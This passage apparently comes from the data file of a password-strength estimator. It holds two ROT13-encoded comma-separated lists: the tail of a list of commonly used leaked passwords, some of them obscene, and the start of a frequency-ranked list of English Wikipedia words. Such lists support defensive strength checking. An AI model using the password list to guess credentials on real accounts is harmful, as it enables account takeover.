hf,cvarnccyr1,pnaaryyr,tnavony,zxb09vwa,cnenxynfg1974,uboorf12,crggl43,negrzn,whavbe8,zlybire,1234567890q,sngny1gl,cebfgerrg,crehna,10020,anqln,pnhgvba1,znebpnf,punary5,fhzzre08,zrgny123,111ybk,fpencl,gungthl,rqqvr666,jnfuvatgb,lnaavf,zvaarfbgn_uc,yhpxl4,cynlobl6,anhzbin,nmmheeb,cngng,qnyr33,cn55jq,fcrrqfgre,mrznabin,fnenug,arjgb,gbal22,dfprfm,nexnql,1byvire,qrngu6,ixsjk046,nagvsynt,fgnatf,wms7ds2r,oevnac,sbmml,pbql123,fgnegerx1,lbqn123,zhepvryn,genonwb,yioauogqs,pnanevb,syvcre,nqebvg,urael5,tbqhpxf,cncvehf,nyfxqw,fbppre6,88zvxr,tbtrggre,gnarybea,qbaxvat,znexl1,yrrqfh,onqzbsb,ny1916,jrgqbt,nxzneny,cnyyrg,ncevy24,xvyyre00,arfgrebin,ehtol123,pbssrr12,oebjfrhv,enyyvneg,cnvtbj,pnytnel1,nezlzna,igyqgygq,sebqb2,sekgto,vnzovtny,oraab,wnlgrr,2ubg4lbh,nfxne,ovtgrr,oeragjbb,cnyynqva,rqqvr2,ny1916j,ubebfub,ragenqn,vybirgvgf,iragher1,qentba19,wnlqr,puhinx,wnzrfy,sme600,oenaqba8,iwdiou,fabjony,fangpu1,ot6awbxs,chqqre,xnebyva,pnaqbb,cshsyes,fngpury1,znagrpn,xubatovrg,pevggre1,cnegevqt,fxlpynq,ovtqba,tvatre69,oenir1,nagubal4,fcvaanxr,puvanqby,cnffbhg,pbpuvab,avccyrf1,15058,ybcrfx,fvksyntf,yybb999,cnexurnq,oernxqnapr,pvn123,svqbqvqb,lhvger12,sbbrl,negrz1995,tnlnguev,zrqva,abaqevirefvt,y12345,oenib7,unccl13,xnmhln,pnzfgre,nyrk1998,yhpxll,mvcpbqr,qvmmyr,obngvat1,bchfbar,arjcnffj,zbivrf23,xnzvxnmv,mncngb,oneg316,pbjoblf0,pbefnve1,xvatfuvg,ubgqbt12,ebylng,u200fiez,djregl4,obbsre,euglygxz,puevf999,inm21074,fvzsrebcby,cvgobff,ybir3,oevgnavn,gnalfuxn,oenhfr,123djregl123,norvyyr,zbfpbj1,vyxnri,znahg,cebprff1,vargpst,qentba05,sbegxabk,pnfgvyy,elaare,zezvxr,xbnynf,wrrohf,fgbpxcbe,ybatzna,whnacnoy,pnvzna,ebyrcynl,wrerzv,26058,cebqbwb,002200,zntvpny1,oynpx5,oiytnev,qbbtvr1,pougdn,znuvan,n1f2q3s4t5u6,woyceb,hfzp01,ovfzvynu,thvgne01,ncevy9,fnagnan1,1234nn,zbaxrl14,fbebxva,rina1,qbbuna,navznyfrk,csdkglwe,qvzvgel,pngpuzr,puryyb,fvyirepu,tybpx45,qbtyrt,yvgrfcrr,aveinan9,crlgba18,nylqne,jneunzre,vyhizr,fvt229,zvabgnie,ybomvx,wnpx23,ohfujnpx,bayva,sbbgonyy123,wbfuhn5,srqrebi,jvagre2,ovtznk,shsaseuopao,uscyqsauo,1qnxbgn,s56307,puvczbax,4avpx8,cenyvar,iouwu123,xvat11,22gnatb,trzvav12,fgerrg1,77879,qbbqyroh,ubzlnx,165432,puhyhguh,gevkv,xneyvgb,fnybz,ervfra,pqgaxmkwe,cbbxvr11,gerzraqb,funmnnz,jrypbzr0,00000gl,crrjrr51,cvmmyr,tvyrnq,olqnaq,fneine,hcfxveg,yrtraqf1,serrjnl1,grrashpx,enatre9,qnexsver,qslzes,uhag0802,whfgzr1,ohssl1zn,1uneel,671sfn75lg,oheesbbg,ohqfgre,cn437gh,wvzzlc,nyvan2006,znynpba,puneyvmr,ryjnl1,serr12,fhzzre02,tnqvan,znanen,tbzre1,1pnffvr,fnawn,xvfhyln,zbarl3,chwbyf,sbeq50,zvqvynaq,ghetn,benatr6,qrzrgevh,sernxobl,bebfvr1,enqvb123,bcra12,ishscol,zhfgrx,puevf33,navzrf,zrvyvat,agugiwe,wnfzvar9,tsqxwq,byvtneu,znevzne,puvpntb9,.xmves,ohtfftho,fnzhenvk,wnpxvr01,cvzcwhvp,znpqnq,pntvin,ireabfg,jvyylobl,slawlwqs,gnool1,cevirg123,gbeerf9,erglcr,oyhrebbz,enira11,d12jr3,nyrk1989,oevatvgba,evqrerq,xnerygwr,bj8wgpf8g,pvppvn,tbavaref,pbhagelo,24688642,pbivatgb,24861793,orloynqr,ivxva,onqoblm,jynsvtn,jnyfgvo,zvenaq,arrqnwbo,puybrf,onyngba,xocsqgas,serlwn,obaq9007,tnoevry12,fgbezoev,ubyyntr,ybir4rir,srabzrab,qnexavgr,qentfgne,xlyr123,zvysuhagre,zn123123123,fnzvn,tuvfynva,raevdhr1,srevra12,kwl6721,angnyvr2,ertyvffr,jvyfba2,jrfxre,ebfrohq7,nznmba1,eborege,eblxrnar,kgpagu,znzngngn,penmlp,zvxvr,fninanu,oybjwbo69,wnpxvr2,sbegl1,1pbssrr,suolwkes,ohoonu,tbgrnz,unpxrqvg,evfxl1,ybtbss,u397caie,ohpx13,eboreg23,oebap,fg123fg,tbqsyrfu,cbeabt,vnzxvat,pvfpb69,frcgvrzoe,qnyr38,mubatthb,gvoone,cnagure9,ohssn1,ovtwbua1,zlchccl,iruislpe,ncevy16,fuvccb,sver1234,terra15,d123123,thatnqva,fgrirt,byvivre1,puvanfxv,zntabyv,snvgul,fgbez12,gbnqsebt,cnhy99,78791,nhthfg20,nhgbzngv,fdhvegyr,purrml,cbfvgnab,oheoba,ahaln,yyrocznp,xvzzv,ghegyr2,nyna123,cebxhebe,ivbyva1,qherk,chffltny,ivfvbane,gevpx1,puvpxra6,29024,cybjobl,esloerxf,vzohr,fnfun13,jntare1,ivgnybtl,pslzes,gurceb,26028,tbeohabi,qiqpbz,yrgzrva5,qhqre,snfgsha,cebava,yvoen1,pbaare1,uneyrl20,fgvaxre1,20068,20038,nzvgrpu,flbhat,qhtjnl,18068,jrypbzr7,wvzzlcnt,nanfgnpv,xnsxn1,csusarpaus,pngfff,pnzchf100,funzny,anpub1,sver12,ivxvatf2,oenfvy1,enatrebire,zbunzzn,crerfirg,14058,pbpbzb,nyvban,14038,djnfre,ivxrf,poxzqs,fxloyhr1,bh81234,tbbqybir,qsxzygisu,108888,ebnzre,cvaxl2,fgngvp1,mkpi4321,onezra,ebpx22,furyol2,zbetnaf,1whavbe,cnfjbeq1,ybtwnz,svsgl5,auseawuopa,punqql,cuvyyv,arzrfvf2,vatravre,qwxewq,enatre3,nvxzna8,xabgurnq,qnqql69,ybir007,iflguo,sbeq350,gvtre00,eraehg,bjra11,raretl12,znepu14,nyran123,eboreg19,pnevfzn,benatr22,zhecul11,cbqnebx,cebmnx,xstrves,jbys13,ylqvn1,funmmn,cnenfun,nxvzbi,gboovr,cvybgr,urngure4,onfgre,yrbarf,tmaskwe,zrtnzn,987654321t,ohyytbq,obkfgre1,zvaxrl,jbzongf,iretvy,pbyrtvngn,yvapby,fzbbgur,cevqr1,pnejnfu1,yngeryy,objyvat3,slyugd123,cvpxjvpx,rvqre,ohooyrobk,ohaavrf1,ybdhvg,fyvccre1,ahgfnp,chevan,kghgqsus,cybxvwh,1dnmkf,huwclfd,mkpionfqst,rawbl1,1chzcxva,cunagbz7,znzn22,fjbeqfzn,jbaqreoe,qbtqnlf,zvyxre,h23456,fvyina,qsxguoe,fyntryfr,lrnuzna,gjbguerr,obfgba11,jbys100,qnaalt,gebyy1,slawl123,tuopasq,osgrfg,onyyfqrrc,oboolbee,nycunfvt,pppqrzb,sver123,abejrfg,pynver2,nhthfg10,ygu1108,ceboyrznf,fncvgb,nyrk06,1ehfgl,znppbz,tbvevfu1,bulrf,okqhzo,anovyn,obborne1,enoovg69,cevapvc,nyrkfnaqre,geninvy,punagny1,qbtttl,terracrn,qvnoyb69,nyrk2009,oretra09,crggvpbn,pynffr,prvyvqu,iynq2011,xnznxvev,yhpvqvgl,dnm321,puvyrab,prksus,99enatre,zpvgen,rfgbccry,ibyibf60,pnegre80,jrocnff,grzc12,gbhnert,sptouol,ohoon8,fhavgun,200190eh,ovgpu2,funqbj23,vyhivg,avpbyr0,ehora1,avxxv69,ohgggg,fubpxre1,fbhfpurs,ybcbgbx01,xnagbg,pbefnab,psasls,evireng,znxnyh,fjncan,nyy4h9,pqgaxsl,agxgtrcoe,ebanyqb99,gubznfw,ozj540v,puevfj,obbzon,bcra321,m1k2p3i4o5a6z7,tnivbgn,vprzna44,sebfln,puevf100,puevf24,pbfrggr,pyrnejng,zvpnry,obbtlzna,chffl9,pnzhf1,puhzcl,urppeod,xbabcyln,purfgre8,fpbbgre5,tuwtshslys,tvbggb,xbbyxng,mreb000,obavgn1,pxsyeod,w1964,znaqbt,18a28a24n,erabo,urnq1,furetne,evatb123,gnavgn,frk4serr,wbuaal12,unyoreq,erqqrivyf,ovbybt,qvyyvatr,sngo0l,p00cre,ulcreyvg,jnyynpr2,fcrnef1,ivgnzvar,ohurves,fybobqn,nyxnfu,zbbzna,znevba1,nefrany7,fhaqre,abxvn5610,rqvsvre,cvccbar,slsawxzgqok,shwvzb,crcfv12,xhyvxbin,obyng,qhrggb,qnvzba,znqqbt01,gvzbfuxn,rmzbarl,qrfqrzba,purfgref,nvqra,uhthrf,cngevpx5,nvxzna08,eboreg4,ebravpx,alenatre,jevgre1,36169544,sbkzhyqre,118801,xhggre,funfunax,wnzwne,118811,119955,nfcvevan,qvaxhf,1fnvybe,anytrar,19891959,fanes,nyyvr1,penpxl,erfvcfn,45678912,xrzrebib,19841989,argjner1,nyuvzvx,19801984,avpbyr123,19761977,51501984,znynxn1,zbagryyn,crnpushm,wrgueb1,plcerff1,uraxvr,ubyqba,rfzvgu,55443322,1sevraq,dhvdhr,onaqvpbbg,fgngvfgvxn,terng123,qrngu13,hpug36,znfgre4,67899876,obofzvgu,avxxb1,we1234,uvyynel1,78978978,efgheob,ymymqspm,oybbqyhfg,funqbj00,fxntra,onzovan,lhzzvrf,88887777,91328378,znggurj4,vgqbrf,98256518,102938475,nyvan2002,123123789,shonerq,qnaalf,123456321,avxvsbe,fhpx69,arjzrkvpb,fphonzna,euopao,svsasl,chssqnqq,159357852,qgurlkoe,gurzna22,212009164,cebube,fuveyr,awv90bxz,arjzrqvn,tbbfr5,ebzn1995,yrgffrr,vprzna11,nxfnan,jverahg,cvzcqnql,1212312121,gnzcyvre,cryvpna1,qbzbqrqbib,1928374655,svpgvba6,qhpxcbaq,loerpm,gujnpx,bargjb34,thafzvgu,zheculqb,snyybhg1,fcrpger1,wnoorejb,wtwrfd,gheob6,obob12,erqelqre,oynpxchf,ryran1971,qnavybin,nagbva,obob1234,obobo,obooboob,qrna1,222222n,wrfhftbq,zngg23,zhfvpny1,qnexzntr,ybccby,jreerj,wbfrcun,erory12,gbfuxn,tnqsyl,unjxjbbq,nyvan12,qabzlne,frknqqvpg,qnatvg,pbby23,lbpenpx,nepuvzrq,snebhx,ausxmxm,yvaqnybh,111mmmmm,tuwngppwu,jrgurcrbcyr,z123456789,jbjfref,xoxokes,ohyyqbt5,z_ebrfry,fvffvavg,lnzbba6,123rjdnfq,qnatry,zvehibe79,xnlgrr,snypba7,onaqvg11,qbgarg,qnaavv,nefrany9,zvngnzk5,1gebhoyr,fgevc4zr,qbtcvyr,frklerq1,ewqsxgqs,tbbtyr10,fubegzna,pelfgny7,njrfbzr123,pbjqbt,unehxn,oveguqnl28,wvggre,qvnobyvx,obbzre12,qxavtug,oyhrjngr,ubpxrl123,pez0624,oyhroblf,jvyyl123,whzchc,tbbtyr2,pboen777,yynorfno,ivprybeq,ubccre1,treelore,erzznu,w10r5q4,ddddddj,nthfgv,ser_nx8lw,anuyvx,erqebova,fpbgg3,rcfba1,qhzcl,ohaqnb,navbyrx,ubyn123,wretraf,vgfnfrperg,znkfnz,oyhryvtug,zbhagnv1,obatjngre,1ybaqba,crccre14,serrhfr,qrerxf,djrdj,sbeqtg40,esusqsl,envqre12,uhaaloha,pbzcnp,fcyvpre,zrtnzba,ghsstbat,tlzanfg1,ohggre11,zbqnqql,jncoof_1,qnaqryvb,fbppre77,tuwaoqwpawmlog,123klv2,svfurnq,k002gc00,jubqnzna,555nnn,bhffnzn,oehabqbt,grpuavpv,czgtwaoy,dpkqj8el,fpujrqra,erqfbk3,gueboore,pbyyrpgb,wncna10,qoz123qz,uryyubha,grpu1,qrnqmbar,xnuyna,jbys123,qrguxybx,kmfnjd,ovtthl1,ploegup,punaqyr,ohpx01,dd123123,frpergn,jvyyvnzf1,p32649135,qrygn12,synfu33,123wbxre,fcnprwnz,cbybcb,ubylpenc,qnzna1,ghzzlorq,svanapvn,ahfeng,rhebyvar,zntvpbar,wvzxvex,nzrevgrp,qnavry26,friraa,gbcnmm,xvatcvaf,qvzn1991,znpqbt,fcrapre5,bv812,trbsser,zhfvp11,onssyr,123569,hfntv,pnffvbcr,cbyyn,yvypebjr,gurpnxrvfnyvr,iouwaqwugj,igubxvrf,byqznaf,fbcuvr01,tubfgre,craal2,129834,ybphghf1,zrrfun,zntvx,wreel69,qnqqlftvey,vebaqrfx,naqerl12,wnfzvar123,ircfesla,yvxrfqvpx,1nppbeq,wrgobng,tensvk,gbzhpu,fubjvg,cebgbmbn,zbfvnf98,gnohergxn,oynmr420,rfrava,nany69,mui84xi,chvffnag,puneyrf0,nvfujneln,onolyba6,ovggre1,yravan,enyrvtu1,yrpung,npprff01,xnzvyxn,slawl,fcnexcyh,qnvfl3112,pubccr,mbbgfhvg,1234567w,eholebfr,tbevyyn9,avtugfunqr,nygreangvin,ptusqwkloe,fahttyrf1,10121i,ibin1992,yrbaneqb1,qnir2,znggurjq,isusaoe,1986zrgf,abohyy,onpnyy,zrkvpna1,whnawb,znsvn1,obbzre22,fblyrag,rqjneqf1,wbeqna10,oynpxjvq,nyrk86,trzvav13,yhane2,qpgipwpsaz,znynxv,cyhttre,rntyrf11,fansh2,1furyyl,pvagnxh,unaanu22,goveq1,znxf5843,vevfu88,ubzre22,nznebx,sxgepslyuwqs,yvapbya2,nprff,ter69xvx,arrq4fcrrq,uvtugrpu,pber2qhb,oyhag1,hoyuwtwloes,qentba33,1nhgbcnf,nhgbcnf1,jjjj1,15935746,qnavry20,2500nn,znffvz,1ttttttt,96sbeq,uneqpbe1,pboen5,oynpxqentba,ibina_yg,bebpuvzneh,uwyoagxo,djreglhvbc12,gnyyra,cnenqbxf,sebmrasvfu,tuwhusiiopa,treev1,ahttrgg,pnzvyvg,qbevtug,genaf1,freran1,pngpu2,oxzlru,sverfgba,nsuisjgqa,checyr3,svther8,shpxln,fpnzc1,ynenawn,bagurbhgfvqr,ybhvf123,lryybj7,zbbajnyx,zrephel2,gbyxrva,envqr,nzraen,n13579,qenaero,5150iu,unevfu,genpxfgn,frkxvat,bmmzbfvf,xngvrr,nybzne,zngevk19,urnqebbz,wnuybir,evatqvat,ncbyyb8,132546,132613,12345672000,fnerggn,135798,136666,gubznf7,136913,bargjbguerr,ubpxrl33,pnyvqn,arsregvg,ovgjvfr,gnvyubbx,obbc4,xstrpoe,ohwuzohwuz,zrgny69,gurqnex,zrgrbeb,sryvpvn1,ubhfr12,gvahivry,vfgvan,inm2105,cvzc13,gbbysna,avan1,ghrfqnl2,znkzbgvirf,ytxc500,ybpxfyrl,gerrpu,qneyvat1,xhenzn,nzvaxn,enzva,erqurq,qnmmyre,wntre1,fgcvyvbg,pneqzna,esiglz,purrfre,14314314,cnenzbha,fnzpng,cyhzcl,fgvssvr,ifnwlwe,cnangun,ddd777,pne12345,098cbv,nfqmk,xrrtna1,sheryvfr,xnyvsbeavn,iouwpxsq,ornfg123,mpsismxrkvsm,uneel5,1oveqvr,96328v,rfpbyn,rkgen330,urael12,tsuslwdm,14h2ai,znk1234,grzcyne1,1qnir,02588520,pngeva,cnatbyva,zneunon,yngva1,nzbepvgb,qnir22,rfpncr1,nqinapr1,lnfhuveb,tercj,zrrgzr,benatr01,rearf,reqan,mfreta,anhgvpn1,whfgvao,fbhaqjni,zvnfzn,tert78,anqvar1,frkznq,ybironol,cebzb1,rkpry1,onolf,qentbazn,pnzel1,fbaarafpurva,snebbd,jnmmxncevirg,zntny,xngvanf,ryivf99,erqfbk24,ebbarl1,puvrsl,crttlf,nyvri,cvyfhat,zhqura,qbagqbvg,qraavf12,fhcrepny,raretvn,onyyfbhg,shabar,pynhqvh,oebja2,nzbpb,qnoy1125,cuvybf,twqgxoagxz,freirggr,13571113,juvmmre,abyyvr,13467982,hcvgre,12fgevat,oyhrwnl1,fvyxvr,jvyyvnz4,xbfgn1,143333,pbaabe12,fhfgnaba,06068,pbecbeng,ffanxr,ynhevgn,xvat10,gnubrf,nefrany123,fncngb,puneyrff,wrnaznep,yrirag,nytrevr,znevar21,wrggnf,jvafbzr,qpgitocys,1701no,kkkc455j0eq5,yyyyyyy1,bbbbbbb1,zbanyvf,xbhsnk32,nanfgnfln,qrohttre,fnevgn2,wnfba69,hsxkwlwe,twypasqs,1wreel,qnavry10,onyvabe,frkxvggra,qrngu2,djregnfqstmkpio,f9gr949s,irtrgn1,flfzna,znkknz,qvznovyna,zbbbfr,vybirgvg,whar23,vyyrfg,qbrfvg,znzbh,nool12,ybatwhzc,genafnyc,zbqrengb,yvggyrthl,zntevggr,qvyabmn,unjnvvthl,jvaovt,arzvebss,xbxnvar,nqzven,zlrznvy,qernz2,oebjarlrf,qrfgval7,qentbaff,fhpxzr1,nfn123,naqenavx,fhpxrz,syrfuobg,qnaqvr,gvzzlf,fpvgen,gvzqbt,unforra,thrfff,fzryylsr,nenpuar,qrhgfpuy,uneyrl88,oveguqnl27,abobql1,cncnfzhe,ubzr1,wbanff,ohavn3,rcngo1,rzonyz,isirxzes,ncnpre,12345656,rfgerrg,jrvuanpugfonhz,zejuvgr,nqzva12,xevfgvr1,xryrorx,lbqn69,fbpxra,gvzn123,onlrea1,sxgepslygu,gnzvln,99fgeratug,naql01,qravf2011,19qrygn,fgbxrpvg,nbgrnebn,fgnyxre2,avpanp,pbaenq1,cbcrl,nthfgn,objy36,1ovtsvfu,zbfflbnx,1fghaare,trgvaabj,wrffrwnzrf,txsawl,qenxb,1avffna,rtbe123,ubgarff,1unjnvv,mkp123456,pnagfgbc,1crnpurf,znqyra,jrfg1234,wrgre1,znexvf,whqvg,nggnpx1,negrzv,fvyire69,153246,penml2,terra9,lbfuvzv,1irggr,puvrs123,wnfcre2,1fvreen,gjraglba,qefgenat,nfcvenag,lnaavp,wraan123,obatgbxr,fyhecl,1fhtne,pvivp97,ehfgl21,fuvarba,wnzrf19,naan12345,jbaqrejbzna,1xriva,xneby1,xnanovf,jreg21,sxgvs6115,rivy1,xnxnun,54ti768,826248f,glebar1,1jvafgba,fhtne2,snypba01,nqryln,zbcne440,mnfkpq,yrrpure,xvaxlfrk,zreprqr1,genixn,11234567,eroba,trrxobl".split(","), english_wikipedia:"gur,bs,naq,va,jnf,vf,sbe,nf,ba,jvgu,ol,ur,ng,sebz,uvf,na,jrer,ner,juvpu,qbp,uggcf,nyfb,be,unf,unq,svefg,bar,gurve,vgf,nsgre,arj,jub,gurl,gjb,ure,fur,orra,bgure,jura,gvzr,qhevat,gurer,vagb,fpubby,zber,znl,lrnef,bire,bayl,lrne,zbfg,jbhyq,jbeyq,pvgl,fbzr,jurer,orgjrra,yngre,guerr,fgngr,fhpu,gura,angvbany,hfrq,znqr,xabja,haqre,znal,havirefvgl,havgrq,juvyr,cneg,frnfba,grnz,gurfr,nzrevpna,guna,svyz,frpbaq,obea,fbhgu,orpnzr,fgngrf,jne,guebhtu,orvat,vapyhqvat,obgu,orsber,abegu,uvtu,ubjrire,crbcyr,snzvyl,rneyl,uvfgbel,nyohz,nern,gurz,frevrf,ntnvafg,hagvy,fvapr,qvfgevpg,pbhagl,anzr,jbex,yvsr,tebhc,zhfvp,sbyybjvat,ahzore,pbzcnal,frireny,sbhe,pnyyrq,cynlrq,eryrnfrq,pnerre,yrnthr,tnzr,tbireazrag,ubhfr,rnpu,onfrq,qnl,fnzr,jba,hfr,fgngvba,pyho,vagreangvbany,gbja,ybpngrq,cbchyngvba,trareny,pbyyrtr,rnfg,sbhaq,ntr,znepu,raq,frcgrzore,ortna,ubzr,choyvp,puhepu,yvar,whar,evire,zrzore,flfgrz,cynpr,praghel,onaq,whyl,lbex,wnahnel,bpgbore,fbat,nhthfg,orfg,sbezre,oevgvfu,cnegl,anzrq,uryq,ivyyntr,fubj,ybpny,abirzore,gbbx,freivpr,qrprzore,ohvyg,nabgure,znwbe,jvguva,nybat,zrzoref,svir,fvatyr,qhr,nygubhtu,fznyy,byq,yrsg,svany,ynetr,vapyhqr,ohvyqvat,freirq,cerfvqrag,erprvirq,tnzrf,qrngu,sroehnel,znva,guveq,frg,puvyqera,bja,beqre,fcrpvrf,cnex,ynj,nve,choyvfurq,ebnq,qvrq,obbx,zra,jbzra,nezl,bsgra,nppbeqvat,rqhpngvba,prageny,pbhagel,qvivfvba,ratyvfu,gbc,vapyhqrq,qrirybczrag,serapu,pbzzhavgl,nzbat,jngre,cynl,fvqr,yvfg,gvzrf,arne,yngr,sbez,bevtvany,qvssrerag,pragre,cbjre,yrq,fghqragf,trezna,zbirq,pbheg,fvk,ynaq,pbhapvy,vfynaq,h.f.,erpbeq,zvyyvba,erfrnepu,neg,rfgnoyvfurq,njneq,fgerrg,zvyvgnel,gryrivfvba,tvira,ertvba,fhccbeg,jrfgrea,cebqhpgvba,aba,cbyvgvpny,cbvag,phc,crevbq,ohfvarff,gvgyr,fgnegrq,inevbhf,ryrpgvba,hfvat,ratynaq,ebyr,cebqhprq,orpbzr,cebtenz,jbexf,svryq,gbgny,bssvpr,pynff,jevggra,nffbpvngvba,enqvb,havba,yriry,punzcvbafuvc,qverpgbe,srj,sbepr,perngrq,qrcnegzrag,sbhaqrq,freivprf,zneevrq,gubhtu,cre,a'g,fvgr,bcra,npg,fubeg,fbpvrgl,irefvba,eblny,cerfrag,abegurea,jbexrq,cebsrffvbany,shyy,erghearq,wbvarq,fgbel,senapr,rhebcrna,pheeragyl,ynathntr,fbpvny,pnyvsbeavn,vaqvn,qnlf,qrfvta,fg.,shegure,ebhaq,nhfgenyvn,jebgr,fna,cebwrpg,pbageby,fbhgurea,envyjnl,obneq,cbchyne,pbagvahrq,serr,onggyr,pbafvqrerq,ivqrb,pbzzba,cbfvgvba,yvivat,unys,cynlvat,erpbeqrq,erq,cbfg,qrfpevorq,nirentr,erpbeqf,fcrpvny,zbqrea,nccrnerq,naabhaprq,nernf,ebpx,eryrnfr,ryrpgrq,bguref,rknzcyr,grez,bcrarq,fvzvyne,sbezrq,ebhgr,prafhf,pheerag,fpubbyf,bevtvanyyl,ynxr,qrirybcrq,enpr,uvzfrys,sbeprf,nqqvgvba,vasbezngvba,hcba,cebivapr,zngpu,rirag,fbatf,erfhyg,riragf,jva,rnfgrea,genpx,yrnq,grnzf,fpvrapr,uhzna,pbafgehpgvba,zvavfgre,treznal,njneqf,ninvynoyr,guebhtubhg,genvavat,fglyr,obql,zhfrhz,nhfgenyvna,urnygu,frira,fvtarq,puvrs,riraghnyyl,nccbvagrq,frn,prager,qrohg,gbhe,cbvagf,zrqvn,yvtug,enatr,punenpgre,npebff,srngherf,snzvyvrf,ynetrfg,vaqvna,argjbex,yrff,cresbeznapr,cynlref,ersre,rhebcr,fbyq,srfgviny,hfhnyyl,gnxra,qrfcvgr,qrfvtarq,pbzzvggrr,cebprff,erghea,bssvpvny,rcvfbqr,vafgvghgr,fgntr,sbyybjrq,cresbezrq,wncnarfr,crefbany,guhf,negf,fcnpr,ybj,zbaguf,vapyhqrf,puvan,fghql,zvqqyr,zntnmvar,yrnqvat,wncna,tebhcf,nvepensg,srngherq,srqreny,pvivy,evtugf,zbqry,pbnpu,pnanqvna,obbxf,erznvarq,rvtug,glcr,vaqrcraqrag,pbzcyrgrq,pncvgny,npnqrzl,vafgrnq,xvatqbz,betnavmngvba,pbhagevrf,fghqvrf,pbzcrgvgvba,fcbegf,fvmr,nobir,frpgvba,svavfurq,tbyq,vaibyirq,ercbegrq,znantrzrag,flfgrzf,vaqhfgel,qverpgrq,znexrg,sbhegu,zbirzrag,grpuabybtl,onax,tebhaq,pnzcnvta,onfr,ybjre,frag,engure,nqqrq,cebivqrq,pbnfg,tenaq,uvfgbevp,inyyrl,pbasrerapr,oevqtr,jvaavat,nccebkvzngryl,svyzf,puvarfr,njneqrq,qrterr,ehffvna,fubjf,angvir,srznyr,ercynprq,zhavpvcnyvgl,fdhner,fghqvb,zrqvpny,qngn,nsevpna,fhpprffshy,zvq,onl,nggnpx,cerivbhf,bcrengvbaf,fcnavfu,gurnger,fghqrag,erchoyvp,ortvaavat,cebivqr,fuvc,cevznel,bjarq,jevgvat,gbheanzrag,phygher,vagebqhprq,grknf,eryngrq,angheny,cnegf,tbireabe,ernpurq,verynaq,havgf,fravbe,qrpvqrq,vgnyvna,jubfr,uvture,nsevpn,fgnaqneq,vapbzr,cebsrffbe,cynprq,ertvbany,ybf,ohvyqvatf,punzcvbafuvcf,npgvir,abiry,raretl,trarenyyl,vagrerfg,ivn,rpbabzvp,cerivbhfyl,fgngrq,vgfrys,punaary,orybj,bcrengvba,yrnqre,genqvgvbany,genqr,fgehpgher,yvzvgrq,ehaf,cevbe,erthyne,snzbhf,fnvag,anil,sbervta,yvfgrq,negvfg,pngubyvp,nvecbeg,erfhygf,cneyvnzrag,pbyyrpgvba,havg,bssvpre,tbny,nggraqrq,pbzznaq,fgnss,pbzzvffvba,yvirq,ybpngvba,cynlf,pbzzrepvny,cynprf,sbhaqngvba,fvtavsvpnag,byqre,zrqny,frys,fpberq,pbzcnavrf,uvtujnl,npgvivgvrf,cebtenzf,jvqr,zhfvpny,abgnoyr,yvoenel,ahzrebhf,cnevf,gbjneqf,vaqvivqhny,nyybjrq,cynag,cebcregl,naahny,pbagenpg,jubz,uvturfg,vavgvnyyl,erdhverq,rneyvre,nffrzoyl,negvfgf,eheny,frng,cenpgvpr,qrsrngrq,raqrq,fbivrg,yratgu,fcrag,znantre,cerff,nffbpvngrq,nhgube,vffhrf,nqqvgvbany,punenpgref,ybeq,mrnynaq,cbyvpl,ratvar,gbjafuvc,abgrq,uvfgbevpny,pbzcyrgr,svanapvny,eryvtvbhf,zvffvba,pbagnvaf,avar,erprag,ercerfragrq,craaflyinavn,nqzvavfgengvba,bcravat,frpergnel,yvarf,ercbeg,rkrphgvir,lbhgu,pybfrq,gurbel,jevgre,vgnyl,natryrf,nccrnenapr,srngher,dhrra,ynhapurq,yrtny,grezf,ragrerq,vffhr,rqvgvba,fvatre,terrx,znwbevgl,onpxtebhaq,fbhepr,nagv,phygheny,pbzcyrk,punatrf,erpbeqvat,fgnqvhz,vfynaqf,bcrengrq,cnegvphyneyl,onfxrgonyy,zbagu,hfrf,cbeg,pnfgyr,zbfgyl,anzrf,sbeg,fryrpgrq,vapernfrq,fgnghf,rnegu,fhofrdhragyl,cnpvsvp,pbire,inevrgl,pregnva,tbnyf,erznvaf,hccre,pbaterff,orpbzvat,fghqvrq,vevfu,angher,cnegvphyne,ybff,pnhfrq,puneg,qe.,sbeprq,perngr,ren,ergverq,zngrevny,erivrj,engr,fvatyrf,ersreerq,ynetre,vaqvivqhnyf,fubja,cebivqrf,cebqhpgf,fcrrq,qrzbpengvp,cbynaq,cnevfu,bylzcvpf,pvgvrf,gurzfryirf,grzcyr,jvat,trahf,ubhfrubyqf,freivat,pbfg,jnyrf,fgngvbaf,cnffrq,fhccbegrq,ivrj,pnfrf,sbezf,npgbe,znyr,zngpurf,znyrf,fgnef,genpxf,srznyrf,nqzvavfgengvir,zrqvna,rssrpg,ovbtencul,genva,ratvarrevat,pnzc,bssrerq,punvezna,ubhfrf,znvayl,19gu,fhesnpr,gurersber,arneyl,fpber,napvrag,fhowrpg,cevzr,frnfbaf,pynvzrq,rkcrevrapr,fcrpvsvp,wrjvfu,snvyrq,birenyy,oryvrirq,cybg,gebbcf,terngre,fcnva,pbafvfgf,oebnqpnfg,urnil,vapernfr,envfrq,frcnengr,pnzchf,1980f,nccrnef,cerfragrq,yvrf,pbzcbfrq,erpragyl,vasyhrapr,svsgu,angvbaf,perrx,ersreraprf,ryrpgvbaf,oevgnva,qbhoyr,pnfg,zrnavat,rnearq,pneevrq,cebqhpre,ynggre,ubhfvat,oebguref,nggrzcg,negvpyr,erfcbafr,obeqre,erznvavat,arneol,qverpg,fuvcf,inyhr,jbexref,cbyvgvpvna,npnqrzvp,ynory,1970f,pbzznaqre,ehyr,sryybj,erfvqragf,nhgubevgl,rqvgbe,genafcbeg,qhgpu,cebwrpgf,erfcbafvoyr,pbirerq,greevgbel,syvtug,enprf,qrsrafr,gbjre,rzcrebe,nyohzf,snpvyvgvrf,qnvyl,fgbevrf,nffvfgnag,znantrq,cevznevyl,dhnyvgl,shapgvba,cebcbfrq,qvfgevohgvba,pbaqvgvbaf,cevmr,wbheany,pbqr,ivpr,arjfcncre,pbecf,uvtuyl,pbafgehpgrq,znlbe,pevgvpny,frpbaqnel,pbecbengvba,ehtol,ertvzrag,buvb,nccrnenaprf,freir,nyybj,angvba,zhygvcyr,qvfpbirerq,qverpgyl,fprar,yriryf,tebjgu,ryrzragf,npdhverq,1990f,bssvpref,culfvpny,20gu,yngva,ubfg,wrefrl,tenqhngrq,neevirq,vffhrq,yvgrengher,zrgny,rfgngr,ibgr,vzzrqvngryl,dhvpxyl,nfvna,pbzcrgrq,rkgraqrq,cebqhpr,heona,1960f,cebzbgrq,pbagrzcbenel,tybony,sbezreyl,nccrne,vaqhfgevny,glcrf,bcren,zvavfgel,fbyqvref,pbzzbayl,znff,sbezngvba,fznyyre,glcvpnyyl,qenzn,fubegyl,qrafvgl